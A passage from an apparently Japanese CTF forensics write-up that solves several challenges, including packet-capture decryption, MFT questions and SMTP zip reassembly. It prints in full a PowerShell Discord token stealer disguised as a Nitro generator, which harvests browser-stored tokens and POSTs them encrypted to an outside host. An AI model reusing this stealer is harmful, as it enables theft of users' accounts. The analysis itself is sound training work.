pQDK0QfK0wclR2bjRCIuJXd0VmcgACIgoQDK0QfgACIgoQDlR2bjRCI9sCIzVGZvNGJgACIgACIgAiCNkSfgkCK5FmcyFkchh2QvRlLzJXYoNGJgQ3YlpmYPRXdw5WStASbvRmbhJVL0V2RgsHI0NWZqJ2Ttg2YhVkcvZEI8BCa0dmblxUZk92Yk4iLxgCIul2bq1CI9ASZk92YkACIgACIgACIK0wegkyKrkGJgszclR2bDZ2TyVmYtVnbkACds1CIpRCI7ADI9ASakgCIy9mZgACIgoQDK0QKoAEI9AyclR2bjRCIgACIK0wJ5gzN2UDNzITMwoXe4dnd1R3cyFHcv5Wbstmaph2ZmVGZjJWYalFWXZVVUNlURB1TO1ETLpUSIdkRFR0QCF0Jg0DIzJXYoNGJgACIgoQDK0QKgACIgoQD2EDI9ACa0dmblxUZk92Yk0Fdul2WgACIgACIgAiCNwCMxASPgMXZk92Qm9kclJWb15GJdRnbptFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIzVGZvN0byRXaORmcvN2cpRUZ0Fmcl5WZHBibvlGdj5WdmpQDK0QfK0wcuV2avRHJg4mc1RXZyBCIgAiCNoQD9tHIoNGdhNGI9BCIgAiCN0HIgACIgACIgoQD9tHIoNGdhNGI9BCIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIgACIgoQDlVHbhZlLzVGajRXYN5yXkACIgACIgACIgACIgACIgACIgACIgACIgoQD7BCdjVmai9ULoNWYFJ3bGBCfgMXZoNGdh1EbsFULggXZnVmckAibyVGd0FGUtAyZulmc0NVL0NWZsV2UgwHI05WZ052bDVGbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ'
print(b64decode(s[::-1].encode()).decode())

以下が,得られたスクリプト

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
            
            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/
                                                                                                        
                                                                                                        "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

FLAG の前半部分は Base64 でエンコードされて置かれている.

$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
HTB{fr33_N17r0G3n_3xp053d!_

以下のように,何らかのデータを AES で暗号化して http://192.168.116.135:8080/rj1893rj1joijdkajwda に POST している.

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

## snip...

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

モードは指定されていないので,CBC モード (AesManaged.Mode Property)
key は文字列が指定されているので,一度だけ Base64 でデコードしたものになる.

if ($key) {
    if ($key.getType().Name -eq "String") {
        $aesManaged.Key = [System.Convert]::FromBase64String($key)
    }
    else {
        $aesManaged.Key = $key
    }
}

暗号化されたデータも Base64 でエンコードされている.

[System.Convert]::ToBase64String($fullData)

暗号化されたデータは http://192.168.116.135:8080/rj1893rj1joijdkajwda に送信されるので 15422 番目のパケットを Follow して,復号する.

from base64 import b64decode
from Crypto.Cipher import AES

enc_data = b64decode(b'bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA==')
key = b64decode(b'Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=')

cipher = AES.new(key, AES.MODE_CBC)
dec_data= cipher.decrypt(enc_data)
iv, data = dec_data[:16], dec_data[16:]
print(data.decode())

以下の JSON データが得られる.

[
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    },
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    }
]

Email が明らかにメールアドレスじゃないので,Base64 でデコードすると FLAG の後半が見つかる

└─< echo YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9 | base64 -d
b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Pursue The Tracks (easy)

Luxx, leader of The Phreaks, immerses himself in the depths of his computer, tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member workstation. With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. To get the flag, you need to answer the questions from the docker instance.

z.mft は MFT ファイルなので,analyzeMFT でデータを確認する.

analyzeMFT.py -f ./z.mft -o out.csv

また analyzeMFT だけでは確認できない内容もあるので,KUMAA's MFT NTFS Explorer も使う.

問題に答えていく.

  • 問 1
    Files are related to two years, which are those? (for example: 1993,1995)
    
    パスを見ると /documents/2023//documents/2024/ があるので,
    2023,2024
    
  • 問 2
    There are some documents, which is the name of the first file written? (for example: randomname.pdf)
    
    Std Info Creation date でソートすると /documents/2023/Final_Annual_Report.xlsx が最初に作成されたファイルであることがわかる.
    Final_Annual_Report.xlsx
    
  • 問 3
    Which file was deleted? (for example: randomname.pdf)
    
    Inactive となっているのは /documents/2024/Marketing_Plan.xlsx
    Marketing_Plan.xlsx
    
  • 問 4
    How many of them have been set in Hidden mode? (for example: 43)
    
    スクリーンショット 2024-03-13 023852.png
    1
    
  • 問 5
    Which is the filename of the important TXT file that was created? (for example: randomname.txt)
    
    /documents/credentials.txt ていう大事そうなファイルがある.
    credentials.txt
    
  • 問 6
    A file was also copied, which is the new filename? (for example: randomname.pdf)
    
    コピーした履歴は確か残らなかったはずなので,サイズが同じものを探す
    スクリーンショット 2024-03-13 025441.png
    /documents/2024/Financial_Statement_draft.xlsx と修正前の /documents/2024/Project_Proposal.pdf の Physical Size が同じになっている.
    Financial_Statement_draft.xlsx
    
  • 問 7
    Which file was modified after creation? (for example: randomname.pdf)
    
    スクリーンショット 2024-03-13 025811.png
    Created と Modified の時間が違う.
    Project_Proposal.pdf
    
  • 問 8
    What is the name of the file located at record number 45? (for example: randomname.pdf)
    
    "45","Good","Active","File","1","44","1","/documents/2024/Annual_Report.xlsx",
    
    analyzeMFT の出力から
    Annual_Report.xlsx
    
  • 問 9
    What is the size of the file located at record number 40? (for example: 1337)
    
    record number 40 は
    "40","Good","Active","File","1","37","1","/documents/2023/Final_Project_Proposal.pdf"
    
    KUMAA's MFT NTFS Explorer で確認すると 57344
    57344
    

Phreaky (medium)

In the shadowed realm where the Phreaks hold sway,
A mole lurks within, leading them astray.
Sending keys to the Talents, so sly and so slick,
A network packet capture must reveal the trick.
Through data and bytes, the sleuth seeks the sign,
Decrypting messages, crossing the line.
The traitor unveiled, with nowhere to hide,
Betrayal confirmed, they'd no longer abide.

Wirehsark で調べると SMTP が使われていることがわかる.
Screenshot_20240313_031854.png

最初のメールの内容は以下のようになっている.

Date: Wed, 06 Mar 2024 14:59:12 +0000
From: caleb@thephreaks.com(Caleb)
To: resources@thetalents.com
Subject: Secure File Transfer
Message-ID: <20240306145912.3RkED%caleb@thephreaks.com>
User-Agent: s-nail v14.9.23
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-="

This is a multi-part message in MIME format.

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-ID: <20240306145912.g2I1r%caleb@thephreaks.com>

Attached is a part of the file. Password: S3W8yzixNoL8

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: application/zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; 
 filename*0="caf33472c6e0b2de339c1de893f78e67088cd6b1586a581c6f8e87b5596";
 filename*1="efcfd.zip"
Content-ID: <20240306145912.Emuab%caleb@thephreaks.com>

UEsDBBQACQAIAGZ3ZlhwRyBT2gAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUCQAD
wIToZcCE6GV1eAsAAQToAwAABOgDAAA9mPwEVmy1t/sLJ62NzXeCBFSSSZppyIzvPXL++cJbuCeL
nP4XXiAK9/HZL9xRw4LjlDf5eDd6BgBOKZqSn6qpM6g1WKXriS7k3lx5VkNnqlqQIfYnUdOCnkD/
1vzCyhuGdHPia5lmy0HoG+qdXABlLyNDgxvB9FTOcXK7oDHBOf3kmLSQFdxXsjfooLtBtC+y4gdB
xB4V3bImQ8TB5sPY55dvEKWCJ34CzRJbgIIirkD2GDIoQEHznvJA7zNnOvce1hXGA2+P/XmHe+4K
tL/fmrWMVpQEd+/GQlBLBwhwRyBT2gAAAN0AAABQSwECHgMUAAkACABmd2ZYcEcgU9oAAADdAAAA
FgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUBQADwIToZXV4CwABBOgD
AAAE6AMAAFBLBQYAAAAAAQABAFwAAAA6AQAAAAA=

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=--

添付ファイルの efcfd.zip にはパスワードがかかっているが,メール本文にパスワードが載っている.

└─< cat efcfd.zip.b64 | base64 -d > efcfd.zip

└─< unzip efcfd.zip 
Archive:  efcfd.zip
[efcfd.zip] phreaks_plan.pdf.part1 password:

pdf の part1 が得られたけど,かなり小さいし,まだまだメールがあるので自動化する.
Screenshot_20240313_032516.png

Wireshark で [File]->[Export Objects] から [IMF] を選択して [Save All]

from base64 import b64decode
import subprocess

pdf_data = b''

for i in range(15):
    fname = f'./dump/Secure File Transfer({i}).eml'.replace('(0)', '')
    
    f = open(fname, 'r')
    lines = f.readlines()
    f.close()
    
    for j, l in enumerate(lines):
        if l.startswith('Attached is a part of the file. Password: '):
            passwd = l.strip().split()[-1]
        elif l.startswith('Content-Type: application/zip'):
            zip_file_name = './zip_files/' + lines[j + 4].split('"')[1]
            b64_data = ''
            k = j + 7
            while lines[k] != '\n':
                b64_data += lines[k].strip()
                k += 1
            break
    
    zip_data = b64decode(b64_data.encode())
    f = open(zip_file_name, 'wb')
    f.write(zip_data)
    f.close()

    subprocess.run(f'unzip -P {passwd} -d ./partial_pdf {zip_file_name}', shell=True)

    f = open(f'./partial_pdf/phreaks_plan.pdf.part{i + 1}', 'rb')
    pdf_data += f.read()
    f.close()

f = open('phreaks_plan.pdf', 'wb')
f.write(pdf_data)
f.close()

Data Siege (medium)

"It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts."

Wirehsark でフィルタを http に設定して順に見ていくと実行ファイルが送られていることがわかるので,これを抜き出す.
Screenshot_20240313_040847.png

└─< file aQ4caZ.exe 
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

.Net なので,dnSpy でデコンパイルする.

AES で暗号化して 10.10.10.21 のポート 1234 とやり取りしていることがわかる.
モードは指定されていないので,CBC モード (AesManaged.Mode Property) が使われる.

以下のコードを実行して Key と IV を入手する.

using System;
using System.Security.Cryptography;

public class Hello{
    private static string encryptKey = "VYAemVeO3zUDTL6N62kVA";
    
    public static void Main(){
        // Your code here!
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[]
            {
                86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
                116, 95, 83
            });
        System.Console.WriteLine(Convert.ToBase64String(rfc2898DeriveBytes.GetBytes(32)));
        System.Console.WriteLine(Convert.ToBase64String(rfc2898DeriveBytes.GetBytes(16)));
    }
}
a6EhKpScNSaDGiSgT6x+0aDo1Sx8IMXuRT7fIZY+ZCc=
5eEW4DSBAnIJKJXEiNNPpw==

tcp.port==1234 でフィルタリングして,暗号化されているやり取りを復号する.

from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = b64decode(b'a6EhKpScNSaDGiSgT6x+0aDo1Sx8IMXuRT7fIZY+ZCc=')
iv = b64decode(b'5eEW4DSBAnIJKJXEiNNPpw==')

encs = [
    (24, '1BhuY4/niTopIBHAN6vvmQ=='), 
    (0, 'gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw'),
    (24, 'F7fKMiKsoErWh0rg6Tr6kQ=='),
    (0, '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'),
    (44, 'x08eb7N+5Ky5cV2hhL4iA1jaGmy6b+b4RjhY5no27vg='),
    (0, '3a42oeqqUlDFRMc0fU2izQ=='),
    (24, 'kiEDfJZYAB1sMzIdb5JF5Q=='),
    (0, 'G4zEKBYS3iw2EN5dwLm6+/uQktBYty4nNBdsBxIqyb8='),
    (620, 'ZKlcDuS6syl4/w1JGgzkYxeaGTSooLkoI62mUeJh4hZgRRytOHq8obQ7o133pBW7BilbKoUuKeTvXi/2fmd4v+gOO/E6A0DGMWiW2+XZ+lkDa97VsbxXAwm0zhunRyBXHuo8TFbQ3wFkFtA3SBFDe+LRYQFB/Kzk/HX/EomfOj2aDYRGYBCHiGS70BiIC/gyNOW6m0xTu1oZx90SCoFel95v+vi8I8rQ1N6Dy/GPMuhcSWAJ8M9Q2N7fVEz92HWYoi8K5Zvge/7REg/5GKT4pu7KnnFCKNrTp9AqUoPuHm0cWy9J6ZxqwuOXTR8LzbwbmXohANtTGso6Dqbih7aai57uVAktF3/uK5nN7EgMSC0ZsUclzPZjm0r4ITE2HtBrRXJ78cUfIbxd+dIDBGts7IuDfjr0qyXuuzw+5o8pvKkTemvTcNXzNQbSWj+5tTxxly0Kgxi5MVT0ecyJfNfdZG0slqYHKaqJCZm6ShfvGRFsglKmenBB274sBdkVqIRtodB8dD1AM1ZQQX1MBMGDeCwFqc+ahch0x375U6Ekmvf2fzCZ/IaHOHBc8p5se1oNMRbIqcJaundh5cuYL/h8p/NPVTK9veu3Qihy310wkjg='),
    (0, 'uJ2fWsTba0ORtkn2zNOzNQ=='),
    (64, 'Hpn7/+8bhbPtNrDOPNmi90fpHYG70U3N1UJbbLuVBPamvpijHsmWE4/C/Xgrzg7v'),
    (0, 'MVLZZEXaiYxnXr4paESBd7S7kqQMujOq/n6jsr5eBfaDCRSXQMtNa1dLe3iGWvh7qabw+CXRiYtv1VHJNJidUuS5dbMYUK26hJJQJ9crfNBsoaekpIiFxGeZoDM9dIGHSWDHEUuptpB4SIXQZXwdKtL3TAQk/zm+6EXk6xVZEyI0fkymbSGz9fay/vvTLIQhFqVhNnPx30QiLOBtNvGDJzMjKuzngH8Vsv1VhYqKS/vCW2fN2knJRy9RuVyXDzft4FYQRfWCnyGXam+TmI6EKVzEgllOcRlfwit7elWhLgBAnJY/t8AMYHuZSdZE0l7t2MNtm4CRRIdUf9b2v0Z0rxEy7hWWJEkD42OdyVkP8oudjA6w9vqsUkCjKnKw5rXr5XKjzuBwziKeX7K2QkY9x8v5ptrlpO908OPzyPo27xUAY+YrxYubbEpwYyDbVmHETS3Yssgd9IYB1doA0QoI9bYzx1vDdiwtgjoNJlIEnYs='),
    (88, '3BQcww/tA6Mch9bMGZk8uuPzsNLBo8I5vfb3YfHJldljnkES0BVtObZlIkmaryDdqd0me6xCOs+XWWF+PMwNjQ=='),
    (0, 'zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg'),
    (24, 'FdbfR3mrvbcyK6+9WQcR5A=='),
    (0, 'bsi2k0APOcHI6TMDnO+dBg=='),
    (24, 'Q2zJpoA5nGWWiB2ec1v0aQ=='),
    (24, 'uib3VErvtueXl08f8u4nfQ=='),
    (24, 'uib3VErvtueXl08f8u4nfQ=='),
